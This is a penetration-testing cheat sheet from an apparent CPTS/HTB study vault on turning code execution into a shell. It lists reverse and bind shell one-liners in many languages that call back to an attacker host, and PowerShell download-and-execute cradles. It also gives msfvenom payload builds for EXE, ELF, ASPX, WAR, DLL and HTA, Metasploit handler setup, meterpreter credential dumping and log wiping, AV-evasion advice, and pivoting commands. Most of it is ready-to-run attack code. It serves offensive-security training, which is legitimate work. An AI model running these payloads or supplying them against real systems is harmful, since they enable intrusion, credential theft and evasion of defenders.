FLOW ^: Pentest Workflow

Foothold Toolkit — Shells, Payloads, and Metasploit

CPTS attack-flow reference for foothold toolkit — shells, payloads, and metasploit in an authorised engagement.

intermediate updated 2026-08-29 Netcat · socat · msfvenom · Metasploit

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 05 of 17 · Focus: Foothold Toolkit — Shells, Payloads, and Metasploit

Previous: Foothold Toolkit — File Transfers · Next: Stage 03 — Service Enumeration


🐚 FOOTHOLD TOOLKIT — Shells, Payloads & Metasploit

The bridge between “I have code execution” and “I have a shell I can actually work in.” A web/injection/upload vuln (STAGE 2) or a service exploit hands me an execution primitive — this section turns that into a caught, stabilised shell, then into a Metasploit session when I want the post-ex toolkit. Rule of thumb: reverse over bind (outbound survives firewalls, inbound rarely does), stabilise before I sudo -l, and treat a web shell as a stepping stone to a real reverse shell, never the end state. Deep dives: 3 - Reverse Shells · 2 - Bind Shells · 4 - Payload Basics · 6 - Crafting Payloads with MSFvenom · 9 - Landing a Web Shell · 8 - Getting a Shell on Linux · 7 - Getting a Shell on Windows. MITRE: T1059 (Command and Scripting Interpreter), T1071 (C2 over Application Layer Protocols), T1105 (Ingress Tool Transfer).

[!note] Env $LHOST = my tun0 (already exported), $IP = target. Payloads below call back to $LHOST on 443 (rides egress-allowed HTTPS) or 4444. Match the catch port to the payload port every time — a port mismatch is the #1 “payload ran, no shell” cause.

Shell selection at a glance

My situationReach for
Linux RCE, bash present, egress openbash -i >& /dev/tcp/...nc catch → python pty
Upload to web rootStage rp-shell.* → browse → fire reverse one-liner
Windows RCE, powershell allowedNishang Invoke-PowerShellTcp cradle
Want post-ex toolkit (hashdump, kiwi, portfwd)msfvenom meterpreter + multi/handler
Egress blocked, internal segmentBind shell (nc -lvnp + FIFO / socat)
Already in a meterpreter session, need more reachautoroute + socks_proxy, or ligolo-ng/chisel
Fragile/lossy linkStageless payload, or reverse_https
Foothold decision flowTD
Execution primitiveRCE / upload / injection
Egress open?
yes
Reverse shellnc / socat catch
no
Bind shelltarget listens
TTY upgradepty / script / ConPty
Need post-ex?
yes
msfvenom meterpreter+ multi/handler
Pivotautoroute / ligolo-ng / chisel
Stage 10
no
Manual enumStage 09

Reverse-shell one-liner library (catch on nc)

What to look for → an execution primitive (RCE, injection, cron, upload) and which interpreters exist on target — don’t assume nc. On Windows powershell/cmd are always there; Linux almost always has bash + one of python/perl/php.

Enumerate what’s available on target

which python3 python perl php socat nc ncat awk ruby busybox 2>/dev/null
ls -la /usr/bin | grep -iE 'python|perl|php|socat|nc|ruby'
# generate any of these interactively (all languages, url/quote-encoded): https://www.revshells.com

The library — pick the row matching what exists on target

Target hasOne-liner (reverse)Notes
bashbash -i >& /dev/tcp/$LHOST/443 0>&1No binary needed; most portable Linux primitive
sh only0<&196;exec 196<>/dev/tcp/$LHOST/443; sh <&196 >&196 2>&196dash/sh-safe variant of /dev/tcp
nc with -enc $LHOST 443 -e /bin/bashStripped from most modern builds — test it
nc without -erm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/bash -i 2>&1|nc $LHOST 443 >/tmp/fThe module’s FIFO method
python3python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("$LHOST",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'Spawns a pty inline (half-stabilised)
python2python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("$LHOST",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'Legacy targets
phpphp -r '$s=fsockopen("$LHOST",443);exec("/bin/sh -i <&3 >&3 2>&3");'What a dropped .php web shell pivots to
perlperl -e 'use Socket;$i="$LHOST";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(443,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'Near-universal on older *nix
rubyruby -rsocket -e 'f=TCPSocket.open("$LHOST",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'macOS + dev stacks
socatsocat TCP:$LHOST:443 EXEC:'bash -li',pty,stderr,setsid,sigint,saneFull PTY in ONE hop — best option if present
opensslsee TLS block belowEncrypted callback, rides 443 cleanly
awkawk 'BEGIN{s="/inet/tcp/0/$LHOST/443";while(1){do{printf "sh>" |& s;s |& getline c;if(c){while((c |& getline)>0)print \$0 |& s;close(c)}}while(c!="exit");close(s)}}'Exotic; gawk-only networking
busyboxbusybox nc $LHOST 443 -e /bin/shEmbedded/IoT/minimal containers
powershellsee Windows block belowDefender signatures the famous one-liner

Exploit — Linux payloads (drop into whatever the target has)

# bash /dev/tcp — no nc binary needed, the most portable primitive
bash -i >& /dev/tcp/$LHOST/443 0>&1
bash -c 'bash -i >& /dev/tcp/'"$LHOST"'/443 0>&1'          # injection-safe wrap
0<&196;exec 196<>/dev/tcp/$LHOST/443; sh <&196 >&196 2>&196  # sh-only fallback

# nc: -e if the build kept it, mkfifo if it didn't (the module's method)
nc $LHOST 443 -e /bin/bash
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc $LHOST 443 > /tmp/f

# python3 — spawns a pty inline (already half-stabilised)
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("'"$LHOST"'",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'

# perl / php (php one is what a dropped .php web shell pivots to)
perl -e 'use Socket;$i="'"$LHOST"'";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(443,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
php -r '$s=fsockopen("'"$LHOST"'",443);exec("/bin/sh -i <&3 >&3 2>&3");'

# socat — full PTY in ONE hop (best if socat is on target, see TTY section)
socat TCP:$LHOST:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane

# openssl reverse shell — encrypted callback, dodges plaintext IDS on 443
#   Pwnbox: openssl req -newkey rsa:2048 -nodes -keyout k.pem -x509 -days 365 -out c.pem
#           openssl s_server -quiet -accept 443 -cert c.pem -key k.pem
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $LHOST:443 > /tmp/s; rm /tmp/s

Exploit — Windows payloads

# PowerShell TCPClient one-liner (module's payload — Defender flags it as ScriptContainedMaliciousContent)
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('$LHOST',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()}"
# Nishang scripted equivalent — supports -Reverse / -Bind, IPv4+IPv6, no retyping
Invoke-PowerShellTcp -Reverse -IPAddress $LHOST -Port 443

[!tools] Stage this (from attachments/) nishang-master.zip (SHA-256 · GPG signature) Nishang — offensive PowerShell toolkit; Shells/Invoke-PowerShellTcp.ps1 is the reliable Windows reverse/bind shell family (Invoke-PowerShellTcp, -Reverse/-Bind, plus UDP and ICMP variants). Unzip, serve the single .ps1 over HTTP, cradle it with IEX (New-Object Net.WebClient).DownloadString(...) — no need to paste the giant one-liner by hand. Siblings worth knowing in the same Shells/ folder: Invoke-PowerShellUdp (egress that only allows UDP-shaped flows), Invoke-PoshRatHttp/Invoke-PowerShellIcmp (covert-channel experiments — lab curiosities, loud in practice).

Delivery pattern (serve → cradle → catch)

# Pwnbox: cd into the unzipped nishang/Shells dir, then python3 -m http.server 80
# Target (one line, appends the invocation so the script self-fires on download):
IEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress %LHOST% -Port 443

[!warning] Nishang scripts are heavily signatured (AMSI + Defender know Invoke-PowerShellTcp by name). For a monitored target, rename the function and strip comments first, or go straight to a donut/C2 loader. In CPTS labs: fire as-is, it’s fine.

[!warning] Watch out

  • nc -e/-c is stripped from most modern builds (Debian/Ubuntu netcat-openbsd) — that’s why the mkfifo /tmp/f loop exists; reach for it (or socat) when -e errors.
  • Bind shells need inbound to the target → NAT + perimeter + host firewalls kill them. Only fall back to a bind shell on an unrestricted internal segment. See 2 - Bind Shells.
  • The plaintext PowerShell/nc shells are trivially signatured — a lab Defender blocks them outright, and any packet inspection sees them in clear. Fine for HTB, but for evasion use a staged encrypted channel (meterpreter reverse_https) or a real C2.
  • Single-quoted python/perl payloads break shell interpolation of $LHOST — I splice it with '"$LHOST"' above so it still expands. Paste-check the IP landed before firing.
  • URL-encode payloads fired through a web RCE parameter — &, |, ;, spaces all mangle in transit (bash -i >& /dev/tcp/... → encode the &s or base64-wrap: echo <b64> | base64 -d | bash).

Bind shell (fallback for unrestricted internal segments)

What to look for → I can start a listener on the target but can’t get it to dial out (egress fully blocked), and I have a route in.

Exploit

# TARGET listens, serves a shell over the socket (mkfifo, since nc -e is usually gone)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp 7777 > /tmp/f
socat TCP-LISTEN:7777,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sane   # PTY-quality bind
# MY side — connect in
nc -nv $IP 7777
# Windows bind via Nishang (target listens, I connect)
Invoke-PowerShellTcp -Bind -Port 7777

[!warning] Watch out A bare nc -lvnp proving “connection succeeded” is not a shell until an interpreter is piped through it — that’s the classic “connected but nothing happens.” The FIFO (or socat EXEC:) is what actually binds bash to the socket. And remember the bind listener dies when the shell exits — re-trigger the payload for each reconnect, or wrap it in a while true; do ... done loop for resilience on fragile boxes.

Also: bind shells are unauthenticated listeners — anyone (including other students on shared HTB ranges, or a scanner) who connects first gets the shell. On shared infrastructure, close the port when done and prefer reverse shells when egress allows.


Web shells — staging the right one for the stack

What to look for → the web technology determines the shell language; the upload path determines whether I browse to it or include it. IIS → .aspx/.asp, Tomcat/Java → .jsp/.war, Apache/Nginx+PHP → .php. The aspnet_client folder, WEB-INF/, or .php in $_SERVER tells are the give-aways. Deep dive: 9 - Landing a Web Shell and sibling note 05 - Web Shells - CPTS Cheat Sheet.

[!tools] Stage this (from attachments/) rp-shell.php (SHA-256 · GPG signature) rp-shell.asp (SHA-256 · GPG signature) rp-shell.jsp (SHA-256 · GPG signature) nt-webshell-rosepine.aspx (SHA-256 · GPG signature) Custom vault webshells per stack — rp-shell.php for PHP apps, rp-shell.asp for classic-ASP IIS, rp-shell.jsp for Tomcat/JSP containers, nt-webshell-rosepine.aspx for ASP.NET/IIS. Transfer via the channels in note 04, then browse to the upload path and fire a reverse-shell one-liner from the shell’s command box.

[!note] Language ↔ server mapping (get this right or the shell 404s/500s)

Server / stackShell to stageTypical upload landing
IIS + ASP.NET.aspx (rosepine)C:\inetpub\wwwroot\, /uploads/
IIS + classic ASP.aspSame — legacy apps
Apache/Nginx + PHP.php/var/www/html/uploads/
Tomcat / JSP.jsp or deploy .warwebapps/<app>/, manager-deploy
CMS (WordPress etc.).php via theme/plugin editorwp-content/themes/<theme>/
# Test the shell landed (then pivot to a real reverse shell immediately)
curl "http://$IP/uploads/rp-shell.php?cmd=id"
curl "http://$IP/uploads/rp-shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/443+0>%261'"

[!warning] Watch out

  • A web shell is not the end state: it dies with the request, has no job control, and every command is a fresh HTTP hit in the access log. Pivot to a reverse shell ASAP.
  • Web shells usually run as the service account (www-data, apache, IIS APPPOOL\<name>) — expect low privs, and note the shell’s deleted-file artifact: the uploaded .php/.aspx on disk is IOC #1. Clean it up at the end.
  • Some upload forms rename to a random filename or block by extension — double extensions (shell.php.jpg), content-type juggling, and filter bypasses live in Stage 02.

Catching the callback (nc / socat / rlwrap / pwncat)

What to look for → a listener up before I trigger the payload, on the exact port the payload targets.

Exploit

sudo nc -lvnp 443                      # raw catch (443 needs sudo for <1024)
rlwrap nc -lvnp 443                    # +arrow keys, history, line editing on the catch
socat file:`tty`,raw,echo=0 TCP-LISTEN:443   # hands me a real PTY (pairs w/ socat target one-liner)
pwncat-cs -lp 443                      # auto-stabilises PTY + layers post-ex (upload/download, persistence)

[!tip] Start the listener, then trigger. If the shell dies the instant it connects, my payload port ≠ my listen port, or a stray old listener/multi/handler job still owns the port (jobs -K in msf, fuser -k 443/tcp in the shell).

Catching reliably — the failure modes I actually hit

SymptomCauseFix
Listener up, payload fires, nothing arrivesEgress filter; wrong $LHOST; payload encoded wrongRe-check tun0; try 443; test payload locally first
Connects then instantly dropsPort mismatch; staged payload caught by bare nc; AV killed the stagerMatch ports; use multi/handler for staged; stageless for nc
Shell connects, I type, output garbledNo PTY (raw socket)TTY upgrade (next section)
Second trigger gives nothingFirst dead session still bound the portjobs -K / fuser -k <port>/tcp, restart listener
reverse_https payload won’t stageTLS interception / proxy auth in the wayFall back to reverse_tcp on an allowed port, or bind shell

Listener hygiene (OPSEC + reliability)

  • Name your listeners: in msfconsole use a distinct LPORT per engagement leg and log it; on bare nc, keep a mental table of port → payload → target. On a busy box with 4 callbacks, guessing wrong loses sessions.
  • Resource scripts (handler.rc) so a crashed msfconsole doesn’t cost the config:
    # handler.rc — msfconsole -r handler.rc
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set LHOST tun0
    set LPORT 443
    set ExitOnSession false
    run -j
  • One port, one purpose: don’t point two different payload types at the same listener port — a staged meterpreter and a raw bash one-liner on 443 will fight over the connection.
  • Kill cleanly: jobs -k <id> in msf, fuser -k 443/tcp on bare listeners. Never Ctrl+C a live handler.

msfvenom payload factory (format matrix + staging)

What to look for → what the target will actually execute: a binary I can run, or a file a service will interpret. Match the format to the stack — .aspx for IIS/ASP.NET (the aspnet_client folder is the tell), .war/.jsp for Tomcat, .php for a PHP app, .elf/.exe for a direct-run foothold. Full walk-throughs: 6 - Crafting Payloads with MSFvenom · 14 - Introduction to MSFVenom.

Enumerate the exact strings (don’t guess payload/format names)

msfvenom -l payloads | grep -iE 'linux/x64|windows/x64|java|php'
msfvenom -l formats            # exe, elf, elf-so, aspx, war, jsp, raw, dll, msi, psh, hta-psh, python ...
msfvenom -l encoders

Payload matrix — OS × arch × staging × format

Target stackmsfvenom -p-fCatcher
Windows x64, direct-run exewindows/x64/shell_reverse_tcp (stageless)exeplain nc OK
Windows x64, meterpreter stagedwindows/x64/meterpreter/reverse_tcpexemulti/handler only
Windows x86 (legacy)windows/meterpreter/reverse_tcpexemulti/handler
Windows DLL-hijack deliverywindows/x64/meterpreter/reverse_tcpdllmulti/handler
Windows scriptless (psh)windows/meterpreter/reverse_tcppsh / psh-netmulti/handler
Windows HTA dropperwindows/meterpreter/reverse_tcphta-pshmulti/handler
IIS / ASP.NETwindows/meterpreter/reverse_tcpaspxmulti/handler
Tomcatjava/jsp_shell_reverse_tcpwar / raw (jsp)multi/handler (jsp_shell_reverse_tcp catchable by nc too)
PHP appphp/reverse_phprawplain nc OK
Linux x64 stagelesslinux/x64/shell_reverse_tcpelfplain nc OK
Linux x64 staged meterpreterlinux/x64/meterpreter/reverse_tcpelfmulti/handler
Linux shared object (.so injection)linux/x64/meterpreter/reverse_tcpelf-somulti/handler
Any python runtimecmd/unix/reverse_pythonrawplain nc OK
Encoded/iterated (bad chars) -e x86/shikata_ga_nai -i 10 -b '\x00'per stackBad-char removal ≠ evasion

Attack — one payload per target stack

# LINUX — standalone ELF (stageless single, self-contained)
msfvenom -p linux/x64/shell_reverse_tcp   LHOST=$LHOST LPORT=443 -f elf  -o shell.elf
# WINDOWS — plain reverse-shell EXE (single) vs staged meterpreter EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe  -o shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o met.exe
# IIS / ASP.NET — .aspx (module's anon-FTP→/uploads→browse chain)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=1337 -f aspx -o shell.aspx
# TOMCAT — deployable WAR, or a raw JSP to drop in a webroot
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o shell.jsp
# PHP app — raw payload (prepend "<?php " if the app doesn't wrap it), then browse to it
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php
# python one-liner stager (paste into any python-exec primitive)
msfvenom -p cmd/unix/reverse_python LHOST=$LHOST LPORT=443 -f raw
# encode + iterate + strip bad chars (weak AV evasion — see caveat)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -e x86/shikata_ga_nai -i 10 -b '\x00' -f exe -o t.exe
# DLL for hijack / side-load chains (Stage 09 patterns), HTA for mshta delivery
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o hijack.dll
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f hta-psh -o drop.hta

[!note] Staged vs stageless — read it in the name windows/shell/reverse_tcp (extra /) = staged: tiny stager calls back, MSF sends the rest → smaller, more fragile on lossy links, and the catcher must be multi/handler. windows/shell_reverse_tcp (no inner /) = stageless single: whole payload in one shot → catch with a plain nc. Mixing the two = a hung/dead session. Detail in 6 - Payloads. Reliability note: staged payloads retry the stage download over the same socket — on lossy/latency-spiky pivot chains the stage transfer is what dies, so prefer stageless (or reverse_https) through tunnels.

Memory aid: more slashes = more trips. Staged (meterpreter/reverse_tcp) = two network trips (stager + stage); stageless (shell_reverse_tcp) = one self-contained blob. When AV only scans the dropper, the stager is what gets signatured — but the stage arrives in memory over the C2 channel, which is why staged meterpreter sometimes survives where a stageless exe wouldn’t.

[!warning] Watch out

  • Raw msfvenom output has ~zero AV evasion — the module’s own VirusTotal test scored 51/68 even with -i 10 iterations of shikata_ga_nai; every engine names Trojan:Win32/Meterpreter.A. Encoders are for bad-char removal, not evasion. For evasion use a loader/C2 (donut below, or ScareCrow/Freeze), not -e. Full breakdown: 7 - Encoders.
  • shikata_ga_nai only ranks high because it’s polymorphic per-iteration — the decoder stub itself is signatured, so more iterations change the bytes without changing the verdict. Iterations help against naive pattern matching on the payload body, nothing else.
  • -x <template.exe> (inject into a custom EXE template) preserves template metadata/imports and blends marginally better than a bare output — but a signatured meterpreter inside a legit template is still signatured meterpreter.
  • Never upload a real assessment payload to public VirusTotal — it leaks the hash/signature to every AV vendor and burns the payload. Use a private detonation env.
  • -f msi, -f dll, and service-EXE privesc payloads (AlwaysInstallElevated, unquoted paths, DLL group-add) live in STAGE 9 — don’t duplicate them here.
  • Delivery ≠ generation: msfvenom builds the file, but a dropped .aspx/.php on disk is a forensic artifact (the module’s exploit failed to self-delete its .asp) even when meterpreter itself is memory-resident.
  • Payload naming (T1036): shell.exe screams. Name drops like something the box would have (update.exe, audiodg.exe, svchost-patch.exe) — and record the real name ↔ purpose mapping in notes for cleanup.
  • Arch mismatch is a silent killer: a windows/x64/... payload won’t stage from a 32-bit process (e.g. older app pools, SysWOW64 context). When in doubt on legacy IIS/servers, generate x86 — it runs under WOW64 either way.

[!tools] Stage this (from attachments/) donut_v1.1.zip (SHA-256 · GPG signature) donut — converts PE/DLL/.NET exe → position-independent shellcode. Use-case: when the target won’t run a raw msfvenom exe (AV signature) but I have a shellcode-injection primitive (an exploit, CreateRemoteThread loader, or a C2 that accepts raw shellcode) — bake the tool (e.g. a .NET assembly) into shellcode and inject instead of dropping. Still not an AV silver bullet: donut’s own loader stub is signatured, so pair it with an injector the environment doesn’t already know.

# donut quick-look (Linux build of the release zip)
./donut -a 3 -f 1 -o payload.bin Rubeus.exe     # -a arch(3=x86+amd64), -f 1=raw shellcode
# inject payload.bin with whatever primitive the exploit/C2 provides

Stabilise the TTY (do it before anything interactive)

What to look fortty says not a tty, no tab-complete, sudo -l/su/ssh misbehave — every raw reverse shell lands like this. This is a summary; the full playbook (PTY allocation, recovery, restricted shells and ConPTY) is in TTY Upgrades & Restricted Shells.

Exploit (fastest paths)

# 1) python pty — the classic
python3 -c 'import pty; pty.spawn("/bin/bash")'   # or perl -e 'exec "/bin/sh";' / /bin/sh -i when no python
# 2) script(1) — present when python isn't (util-linux, near-universal)
script -qc /bin/bash /dev/null
# 3) socat one-shot full PTY (correct size, job control, Ctrl+C) — beats the two-step dance:
#   MY box:  socat file:`tty`,raw,echo=0 TCP-LISTEN:443
#   TARGET:  socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:443
# 4) the background/fix/foreground dance after 1) or 2):
#    (in shell) Ctrl+Z
stty raw -echo; fg          # on MY terminal — then press Enter
export TERM=xterm           # in the now-PTY shell
stty rows 40 cols 140       # match MY terminal size — `stty -a` locally tells me the values
# Windows side: ConPtyShell (https://github.com/antonioCoco/ConPtyShell) — a REAL interactive
# reverse shell over ConPTY (tab-complete, arrows, Ctrl+C), not a dumb cmd pipe.
# Requires Windows 10 1809+/Server 2019+ (ConPTY API); older targets fall back to the
# Nishang/plain TCPClient shells above. Serve Invoke-ConPtyShell.ps1, then on target:
IEX(IWR http://%LHOST%/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell %LHOST% 443
# My catch: stty raw -echo; (stty size; cat) | nc -lvnp 443; stty sane   # per ConPtyShell README
# (the stty size handshake is how ConPtyShell learns my terminal geometry — don't skip it)

[!tip] A meterpreter shell that drops into a service account (apache, www-data, IIS APPPOOL\Web) is non-TTY for the same reason — upgrade it identically before trusting sudo -l output. Set rows/cols before running full-screen tools (nano, less, msfconsole over the shell) or display corruption follows.

Upgrade a caught shell to meterpreter — if a raw shell lands and I later decide I want the MSF toolkit:

msf6 > use post/multi/manage/shell_to_meterpreter
msf6 > set SESSION <id-of-caught-shell> ; set LPORT 4445 ; run    # upgrades in place
# or simply: sessions -u <id>     (same module under the hood)

[!warning] TTY pitfalls

  • su/ssh/sudo -l hang or silently fail without a PTY — if a command “freezes” the shell, suspect missing PTY before suspecting permissions.
  • Ctrl+C in a raw shell kills the shell process, not the foreground command — one careless Ctrl+C = reconnect from scratch. After the stty raw -echo; fg dance, Ctrl+C works normally again.
  • If the shell still echoes double after upgrade, my local stty didn’t take — re-run stty raw -echo and hit Enter once to resync.

Metasploit workflow (search → info → set → run)

What to look for → a version-specific service from recon (STAGE 1) that maps to a known MSF module, or an external payload I need to catch. Enumeration comes first — MSF is a tool in the chain, not “click to win.” Deep dives: 4 - Modules · 6 - Payloads · 8 - Databases.

Enumerate + select

msfconsole -q                                   # skip the banner
# (optional) DB-backed: sudo msfdb init; then inside → db_status; workspace -a BOX; db_nmap -sCV $IP; hosts; services
search eternalromance                           # by keyword (matches Name/desc)
search type:exploit platform:windows cve:2021 rank:excellent   # stack filters, all AND-ed
search -S proxylogon                            # regex filter a big result set
use 0                                           # pick by index no. (or full path)
info                                            # ALWAYS read before firing — mechanism, refs, side effects
options                                         # Required:yes fields must be set

Configure + fire

setg RHOSTS $IP            # global — persists across module swaps (same target run)
set  LHOST tun0           # accepts an INTERFACE name, not just an IP
set  LPORT 443
show targets; set target 6   # override Automatic once I know the exact build
# swap/inspect the attached payload:
grep meterpreter show payloads      # built-in grep to trim hundreds of rows
set payload windows/x64/meterpreter/reverse_tcp
run                        # (alias: exploit). Add -j to run as a background job (keeps the port/listener alive)

[!warning] Watch out

  • set vs setg: set dies on module change; setg sticks until console restart — use setg RHOSTS/setg LHOST when chaining several modules at one host.
  • local_exploit_suggester “appears to be vulnerable” ≠ guaranteed — it’s a candidate list, try them in turn; “service running, could not be validated” is a weaker maybe.
  • If a module isn’t installed, drop the .rb from Rapid7’s GitHub into /usr/share/metasploit-framework/modules/exploits/<os>/<svc>/ and reload_all.
  • check before run when the module supports it — some exploits are single-shot (crash the service, lose the box).

Catch an external payload — multi/handler

What to look for → I delivered a payload outside any MSF exploit module (msfvenom file via upload/FTP/web) and need MSF to catch the callback (for the meterpreter toolkit).

Exploit

msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp   # MUST equal the msfvenom -p string exactly
msf6 > set LHOST $LHOST ; set LPORT 1337
msf6 > set ExitOnSession false      # don't drop the handler when one session dies — keep catching
msf6 > run -j                       # -j = background job, survives while I trigger the payload
# now trigger: browse to http://$IP/shell.aspx  (or run the .exe/.elf / deploy the .war)

[!warning] Watch out The handler payload has to be byte-identical in type to what msfvenom built — staged↔stageless, tcp↔https, x86↔x64 all matter. A mismatch = “sending stage” then silence, or an instant dead session. Same LPORT on both sides. ExitOnSession false is the fix for “I got one session, it died, and now nothing catches my re-trigger.”


Sessions, jobs & Meterpreter post-ex

What to look for → a live session I want to keep while I pivot to other work, and the meterpreter command surface once I’ve landed. Deep dives: 10 - Sessions and Jobs · 11 - Meterpreter · cheatsheet meterpreter.

Manage sessions/jobs

# inside a session: background it WITHOUT killing it
meterpreter > background          # or bg / [Ctrl]+[Z]
msf6 > sessions                   # list all footholds (like browser tabs)
msf6 > sessions -i 1              # re-enter session 1
msf6 > jobs -l                    # running handlers/jobs
msf6 > jobs -k 0                  # kill one job (frees its port); jobs -K = kill all

Meterpreter quick-ref

CommandWhat it does
getuid / sysinfo / getprivswho / where / what privs am I
psfind a juicier process to target
steal_token <pid>impersonate its token (no migrate) — fast priv bump
migrate <pid>move into a stable/privileged process
getsystemtry built-in SYSTEM escalations
hashdumplocal SAM LM/NTLM (needs SYSTEM)
load kiwi + creds_allmimikatz-equiv (SAM/LSA/cached/tickets) — supersedes hashdump
lsa_dump_sam / lsa_dump_secretsLSA secrets → service-account plaintext (lateral fuel)
upload <f> / download <f>file transfer over the encrypted channel (see note 04)
portfwd add -l 3300 -p 3389 -r <ip>forward one internal port to my localhost
run post/...run a post module against this session
shelldrop to a native cmd.exe/bash channel when meterpreter falls short
execute -f cmd.exe -i -Hspawn a hidden interactive process
run post/multi/gather/...loot modules against this session
resource <script.rc>replay a saved command set inside the session
clearevwipe Windows event logs — loud & destructive; rarely in scope
webcam_list / screenshotsituational awareness on user workstations (scope-dependent)
timestomp <f>alter file MAC times — forensic-evasion, rarely scoped

Local privesc via a backgrounded session

meterpreter > bg
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1 ; run                     # post modules take SESSION, not RHOSTS
msf6 > use exploit/windows/local/ms15_051_client_copy_image
msf6 > set SESSION 1 ; set LPORT 1338 ; run    # fresh LPORT avoids collision with the first handler

[!warning] Watch out

  • getuid“Access is denied” means low-priv context (web app pool), not a broken session — check ps for a better token before reaching for a full local exploit.
  • meterpreter > whoami fails (“Unknown command”) — it’s not a Windows CLI, use getuid. Use shell when you genuinely need native commands.
  • Never Ctrl+C a live handler — it can leave the port bound with no usable session. Background with bg/jobs, kill with jobs -k.
  • kiwi needs the session to be x64 + SYSTEM for full cred material; on x86 sessions migrate into an x64 process first.

Pivot with a Meterpreter session (autoroute / portfwd / SOCKS)

What to look for → a compromised host with a second NIC / route into an internal subnet I can’t reach directly. This is the MSF-native pivot; for raw L3 (full nmap, no proxychains) I prefer Ligolo-ng / Chisel in STAGE 10 — use this when I’m already living in msfconsole. Full tables: Tunneling.

Exploit

# route MSF's own traffic through session 1 into the internal net
meterpreter > run autoroute -s 172.16.5.0/24        # quick form
meterpreter > bg
msf6 > use post/multi/manage/autoroute              # module form
msf6 > set SESSION 1 ; set SUBNET 172.16.5.0 ; run
# forward a single internal port to my localhost (e.g. reach internal RDP)
meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19   # then: xfreerdp /v:127.0.0.1:3300 ...
# full SOCKS so ANY external tool reaches the internal net
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080 ; set VERSION 5 ; run -j
#   /etc/proxychains4.conf → socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -n -p445,3389,5985 172.16.5.19
proxychains evil-winrm -i 172.16.5.19 -u "$U" -p "$P"

[!warning] Watch out

  • autoroute only routes traffic originating inside MSF — external tools (nmap, evil-winrm, impacket) need the socks_proxy + proxychains combo, not just the route.
  • SOCKS is TCP-only → nmap through it must be -sT -Pn -n (no SYN, no ICMP) or you get empty results — same constraint as the chisel/Ligolo SOCKS path in STAGE 10.
  • portfwd is per-port and stacks up fast; for sweeping an internal subnet, a full SOCKS proxy (or Ligolo’s L3 interface) beats a pile of forwards.

Callbacks through a pivot — ligolo-ng & chisel

What to look for → I’ve pivoted to an internal segment (Stage 10) and now need shells from those internal hosts to reach my MSF/nc listeners. The traffic has to ride the tunnel back — this is the “callback through the pivot” pattern. Full setup lives in Stage 10; the shell-side notes here.

[!tools] Stage this (from attachments/) ligolo-ng_agent_linux_amd64.tar.gz (SHA-256 · GPG signature) ligolo-ng_agent_windows_amd64.zip (SHA-256 · GPG signature) chisel.exe (SHA-256 · GPG signature) chisel_linux_amd64 (SHA-256 · GPG signature) ligolo-ng agents (per-OS) for TUN-based L3 pivoting, and chisel binaries for TCP/UDP-over-HTTP tunnels + reverse SOCKS.

# ── chisel reverse SOCKS (pivot host calls OUT to me; I reach in via SOCKS) ──
chisel server -p 8443 --reverse                       # Pwnbox
chisel client $LHOST:8443 R:socks                     # pivot host → SOCKS5 on 127.0.0.1:1080
# ── catching a shell from a DEEP internal host: chisel remote port-forward ──
chisel client $LHOST:8443 R:4444:127.0.0.1:4444       # deep host dials Pwnbox:4444 via pivot
# ── ligolo-ng: add a listener on the agent that relays to my handler ──
